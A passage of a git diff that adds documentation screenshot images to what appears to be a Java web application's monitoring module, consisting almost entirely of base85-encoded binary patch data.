zyHH@*<8m`uIXL7{p~%6Vl1EfH_RE$OyVV@=m~+Hy&ykF)tDXKF39!*}kvSS7bHwkB z!@cS3cUt|T_V~r@IePrUQAW{Y#}|ZTOkm4SIF_lv9RKEM%9~?Jca9~?9M88op5Sx5 zBxj}?Pr#|^0jH<e{4;tGpt*t3$e~8s;Y9766K9_vKe7FU^w*l|HK~W5Sw2qS%M0Ou z=D>fcz-RIj&&hvIF39m|)82FEFt^+SZt)G=;ti)3f8u+Zz{?PE^r>ft{T<tD1&muJ zoLXJOSj)l}^MP4BVeh7%yt@w=_A{03Z8&qP=FFKnXHIWAb57=L!gEfG2h0`+I4wRf zTR7;P^Eqp^;p|zSvyWuXJ<&P))aKl?IcG$R<ntdf*ga7CAankK;Ca18GN(4mes7Zb z>~sFlo%8?xod57gdhZ97vk!RA7F=Mqy|6EUhnsgPXD-ja13Y}Z7kSQJIQHQJ?_Hkb zOcz;dFUabuu<un-v{g~$y~Lh-Nu~GS1?ApL9h>CS4K5w|#CcBf@_dKOCcZl7E^?bO zF!3x<D|o~-?*gM9L(QZQO!^E=Rsu}66IkDWWRywZU|GN{p}@?tfssXk>0Kcc&jLnf z0VW0mrj3PcW)4j69hs#sFxomW&r;xY@MS)5U0aKRfoH-s-T;Or3z=0D<n0`o6&$Xa z2rwxa$eS}TMZ9I!I>4a*f%9qsQ=_e(-Uo(A24>a;OwtNWiVhqK2N*m4%4<#F)^lJ| z61b&mAZ5qEoX((bTfk(cz?AO5l+M8RK9Jd{fLZYY^O{-)GY5tV1x#*#88jMht8HN7 z`5>nuz{K;INwGjm=>wDE1u4A)3_J&PRc$U@UmJM+xG$5+1u0br2A;)CiWeB3e7<wG rR$gHOw_N~_*@Ziti<zwiG|dZ`1(KOt7&xUaFz<Af-zy-%z+epkIX!?k literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_1.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_1.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fc3ea925d9caab3999b37fac82e24764c50d8e93 GIT binary patch literal 2499 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 YwQI^PrFXv<udubhWfHXaX!8G?00*n4$p8QV literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_1.png b/src/main/webapp/monitoramento/docs/images/screen_shot_1.png new file mode 100644 index 0000000000000000000000000000000000000000..b06b43821d7a5cc82a164d3cd261f39b9be80a25 GIT binary patch literal 3950 zcmeAS@N?(olHy`uVBq!ia0y~yV5neVV2I*iW?*1&xtDa8fq_A<#5JPCxhOTUBr`ux zAtW<5m7y#(Pfx+nNFgu3Oi#hcz`#Vo$k58b$jZQ2LEFI4z~Eo3N&*7|1AB?5uPgf% z9wAW+?c1S?)-W(Ia29w(7Bet#eE?xbr!^)s7#J8>(j9#r85lP9bN@+XWnf@t2=EDU zwTdowj+x??G%qM)er0xcQF(WK!TjpF8R|2;Y?jUNS~Mki_58_`+h$CgF=x)4NxP=| z7H&<g+g#ANys&kn;o6-x>vpFs*_n1|PhJ1ImT9{tP1!ha&f4nL8>X+=TYY%@q*HtM zPRQM~XyU4+i*_!Uvu^#QjXRf~IMT3x$DEZbH?Lj0b?e%-2RE)<dT#65Ya6$2-FSHa z>ZNP<ZePB4)3&{Px9)}DV_UbL-nD)8(fvD5>^pXN*Rj3F&h6cM?%39I$M&AOu-&!v zT5`{=>?zNSTh6(yycV?fUiF-Fxm)ivF27vA@p<3+Ydu@<P1|&N%Es4owq9Dj^<LD8 z%f)A|CqMt5{QiIA@z>Q4KDNC7Uj6?6^h3{<9)7s?=#8}pUr)JnW5vD4E${!Y{QQ0E zUXX2DkDc3l>fA99ICtXoiF4<U9XojK^tsE&&fPnA?%v*G?~fgOzjy2RV|%|JyLRl{ zwPSnlT|0K~+SYT=4_<q8?%K6;*X|v=_Wazr=X>A3KX&f@v2)+go%??7+V`#R|G$_J z@@`4qjqSPr*A~B<()xXE^`o8b|2J0OINE&sLg&46bM9T6^L%gp|Go9kkM+DeGws^i zrPtQ3y>)Ko%L_~YuU-58+S32W=KMdm;Q!XO|Ie+xc5dtcty{01+xvg--fQQMT|0N~ z`SX^0_oh6#H}m=PIqx6M`F?NC_xE$Yf1h&i+S+^9wm!eM_4&Px@2{<W|9t89?@Rw* zTl)U_*7xtXUc0vU-nG5=?(Kd5eDC-7d%u6*`~UggYuAq5yLasQ^JDLyAG>z#+`Vh( zo?kn64J-`u;kkRy&pp3(?b^L-5aRi@YwxdJ`~Lmjxoh{X-Me?~`Mqn`?m@uwd(WRg zzjyEX^K;Li-+TZ5()ZWruHAco?cVo$_uk)o^!@qs=kK3`h?h^ke}8}N`}=#>-ami; z{`vp+&#%3IfA2kr^Bx4gKY#!K{rmslzk{s#|NY+g@6Z2#fByaZ`~TnHgQ)KyaP9m5 z_uv12|Nj3!nEwC&`@R4F-~ay)68QiBjb~~m0|WPVPZ!6Kid$!+s&izHO4=V^&-TV! zxMR+v2gfH_oMSV)a!>W4!1NDVx=S29E<H=U)wZtOdh1>GCGDqPuJdK7oH0qEY1OnK z`3YSYlpI%Ttn%ua@ZyNwcCq56E-__0lsmh=|68$0BXYxrS8vTXSNEO&{^6#j_ure_ zjqjh!sJFgf_qq1|nRUw#1+#sa@^R6coVdu!%E+I4KCN1{sq*tF@vzvyeFcf3GjAUY zJonM{z#-2aO%J!--e=UfzUU6?j@ikpyK}9}Y!+SFwzW!2Yn522p^jH_=kMq(E3!^b zQtiHx&-CY)cT9~YbGUy3^I_Y`1@FIg-`JWRo}Hb2+pAxPt7!fU(bAjR9ZB<_Os%zB z;W6pK_s#S7=jT26cyg1!cxq&Om(I(&lh40<uF-nEONVizo%x3~(btzBULkj9-R~J| zzS(}Cv+ny#zk_`*e{Bw!%VgU0(Lm0wuBJkw>*2%45(kcOOm=vZUd-@2<$Ni3jTO(A zb-cUQtUg`p`u?qGR;$#;?craler}v5n_bI3Pi#+IqR`qE?)%(DeM3W84+l=}Sfs@z zJn>ZDnoE4Gndyl>(`+kE9_q7I{m)VSX*01*&`qhSle0;ov+0E>OW=j4mYX!i{cWGV z+<#KPk@xf@|CFT~%$6O+{yxRcH3rKMY&!1sv}x|F=m}E(UK7H&yc`17c!o{i<a;~G zV}63^=`D9|`Aod^^PBtov^f^a)j@_{2A6dYwgmXZCN0^Pl)rm{g{<#X4Ux=Mo*aja zm1S$6$L`*hHucB5`}cNMoL<@QaFv;vx#Ixi<i>Ln%VLDp0;Y3ymM5i7U7hD_tsXl` z@cCuGHWuZl3(ggmlx(R;GXD1T)FxN%i+-~_ZKU|xoj<O5H}}j(50)AMrcM@)AM)No z9Bv_f5gq5Act&@wUS)0E&Uz$mcGsCVj4D1^v;G{nk-O258M%z@*oTXjva=00S3Iho zpSkPVuJpR!XR`g%grZ|(@B1&Av{LiVvQVu%zh^tIkNv({{@;V^{&6<xOodq|I`~x= zJ0BDIdPY~G&?Kwn(ZhL~M>ZaGdLi>bVvcT7kA+DJOS_Y8@Vqk#;fhznuQR>co!0HR z?$yE+zR3;(8B@PGJonXNI(=zES7=Y=UJ;Lgv&pOGnur^^6m+~3Tq0zU(<5+^Ng{hn zf%E<lm2-jTGt|4DD!iMb;wm)Zw&24u38M<%P(@W`vqc9JG`b_E?&*5q%g?`3TXE~e zhKNH;mA0Lod@;k|wc&9#wZ|9s)&7>d|JQ<nFW~>()$8~DI@0YgWBKXPMD;$0+QVyk zwlh>by>|BgqZ^x^O8ccgewrC`te>B$P)ow3Xoc0~Ro{(H-SzeTaR11Q_?nkXr$_N^ z*|O)up~h+A3-&z}<BN#3n0og9lN&n<yMtFgo+C4-!dkxYkinzKgB?Fzx?NL`&;6k6 zsNKr5vv#SpnXII;YH-|2&B?!#d9@=R1zrs-RmxPE96YnLEr3Du#+(wx>xI@v7DZeK zXU_cDaz<&F=be9QsgY)>7mrRfZ2Q*|e^IqhdSyYD$yC8NMzy7U=XnJ$weU0rek^;i z)PhNU!)^I@-G2oyPvtysrf{`km$wX8>*0eHS6*<o9m;&f;$P@+bDE{$qdyxyO-XC> z$<4B|YZhGYWP7lne1r9@H!nHk_grako6uI^aMW1w+OiWFn{qTmdNqWP7|iX-u*kMj zHF6McbxhatmzZvNb;pWjfh}7b)Gjt~IUj%fz`(TNhLlC#*`9{T#21SL3mzu4dNBL* zO<Vlvkr9i+wlfp?dvBb4^W<F7|B9S6)9Z(F%-@z~`E6c&>PzRN4&P9w?RU%$FZmk8 zcw~NS^(5Pe?=DPHT<-O7(r2Zkv1v9}{zhKY74>4tTK#(U>f2hcv$LbqXLD>2Jl_7u za!%<Q0X8;vwp|ggE{o1qoe`?;C-qUMKe9m8@Y9CedZwqDx9d34Djy$DH@+=D<D1~_ zdD_Qwv>a^G=H_jA%cdcH?pCkz@;7b5>3UM1>(9@(z8a|V@nnI;%&Sx8|9G?C&wO8! z`JC$0SwB8UJmv`DpIiCjVfcf-W9M!!x2yf~W@A#PeUIDb*`I{vnI9c4J8Y=%PB#0G zt-$-6`+m6V-&X!_c`<SSr<aS_`%8VSXYO3z=jMEHMIy`LkB>U)7wX1sNWcAOZ~d;~ zm-E(kf8Sqo{Au;Ookd3*&rX-Ox%lz=-}z;4{(gMh>)LBEQNn1ETh=MA4GbU48-HYf z{{Cva{@vp5Q-zO|$FT99{(j%Ge*Lx`7v=2ZTUMRjk(e^`Yfgv!9wXnH2Y;9^3rDZ4 zDAAawqiUGFeVMXfo6|y>mvMEE4mb9if6H5IZL{a&t!C?2^XjsTA0Lb@ef@94)`uUI z{SMok#ogY$_}!e+hlfm7`F&|=zW69K*ICT9Gc}njbLvSh51j>B(E$Mw8-tUayOM>o z{M}{xkM%wZ%~ebaPKlC;4ryhIRGZTn(yhc|sg&I?ReW1O<ApQfLY@X|XG(}4EvV(0 zDYuDZLh_kQp3?3S>yArrNL$@?Oo~e=y1Dt|l*BU*S5+C5mj&&<v@Ydtj9rrXf_cA| zHt*l_@7L`0`+q)@um4oaZvT5*b01sZF{UFc3(76rgX@x9bJd^SFaJL$@%zH((G2YK z_NV`?irBv<et+uaWxwC;uD`r&mwv$+eFq*#r5nZ~Mh6Nvl_nQOC2iZV&!gtci+|Im zEp~65!QAnl{obPvVF&A!Baa^#1wX#rJHuDeDMI7W`~CTSjBOu3+_>@Mg$K{^GZ#O8 z6#R6r`r3~l&qV@j9)4yzvba-3Cy{4ca&*tCT;XX-Ih7_GwF+D(TM19kJYtzUY0u|Q z;dW=X`%g~Yd2!0SM|9Drrwxm&@}(y%Gh%8InQAEHI=RBWciZgNj+xK7+Ij-^Sld*- zR@XONv(snadiRyZvE@%TWEF3l>U&vs=hXY9z5?vM2{saM_0o<!n0=shL)Yd<Et7Ug zJ=YG}cK+2JaaYz*Uscz$7nS#~GVEQ^*ERR+9I*$pmY>PoC?s}tj)lXPrXwroA7f+h z4Y@dvJIv_ZCz+6}ox93izMJ@(`!9ZVCE$F3!90^LQ$5kZ(B$bMvgtXRg8S|}6x=!? z5Y7>}BIv@7AOVF#wu;I#cFvA0kV|&oey-%8itXGTJeSV~n!0p1txB7>+B&D<Gnaa| z^1K;4)~&i6W|R14+0%OoiI47_u%BzPs32Br)nYG~9fg9vS7-Qy^h%3{oizDe(RM`b zc39!_?(EQWHf6SAPZa;`F@0+@Ptnk^h2_Ttj|OS+GP%lKDb;>|_6hV(3Aw7`WcYn* z#N$<4nP;pP3zFS;)k(A|HfimaRm)y-zLuCcH*Do=&&!|1y@G;5gQsTPnPt+;e<$ej zXY&PC$695TFLy*;5>$2)J#u)$=bp&A<LqyK<$QRuX6mLFGs}}x!_G_0ZgG$EiVa=9 z_GV{T-pQWZXR@ztmfFa+>Y2#Pk54quz7+a3Q*ibh)5Ry5S~u69;@)18dd7QMR@Ssh zGn9H=m6`+(`gP9vt~z77;F67#lzNzVv>aLL$oS~U9VPpZGLQdHu=xDdU(L#Tx4^BN zodMC;54;gL?H`k&zj^JxU0e69-L`GtzPCc(j6Mta*ZwVhCj5EJ*ORUF)1H0($g}M7 z#y0a;epmK}9&g?J-_G!FU8<tW8U8M{b=8aCMa=r~xUaNySuLkWz<Txb<^B^ji|$AL zzqN1cuPFB&7q^#Pix2s@di5lCp*?Z`@6?@|!u@yN<8#Mz{^pCb-n;tOvVFVplE;!l zzbE)U4@%McWovG7^~#|Is(-Uq?)r4|YSHCcY5&dU-`i1=-@0kZ+C}>wN!{GO=-H}I zY5g2?^CF&IuKoJe?&r<fsj=(UeS5j+`0L4grxsN0^#69+w;(5PT50@cqe$`WFn7C% zi%%}6W**%3TKj0#!k-(LEj2xz>iOck$7z;tCuc2*fB(HIKW?krh3T*Fe|+sFeWzhT zsJ7_pur+ae7i^7++qUc4^6h5blb*ExTOGM{ncI{jvr-pDL~~v;TH#^3NW<*9(^5&R z6K88*70&$nMYC&H+F9OB?>8==_KWrI``7>FZ-(yi$WRcCWnf@n@O1TaS?83{1OScX BcUJ%a literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_2.png b/src/main/webapp/monitoramento/docs/images/screen_shot_2.png new file mode 100644 index 0000000000000000000000000000000000000000..d4ef2292c24a37de0d447dd05d91ed44810a5ba2 GIT binary patch literal 3896 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_3.png 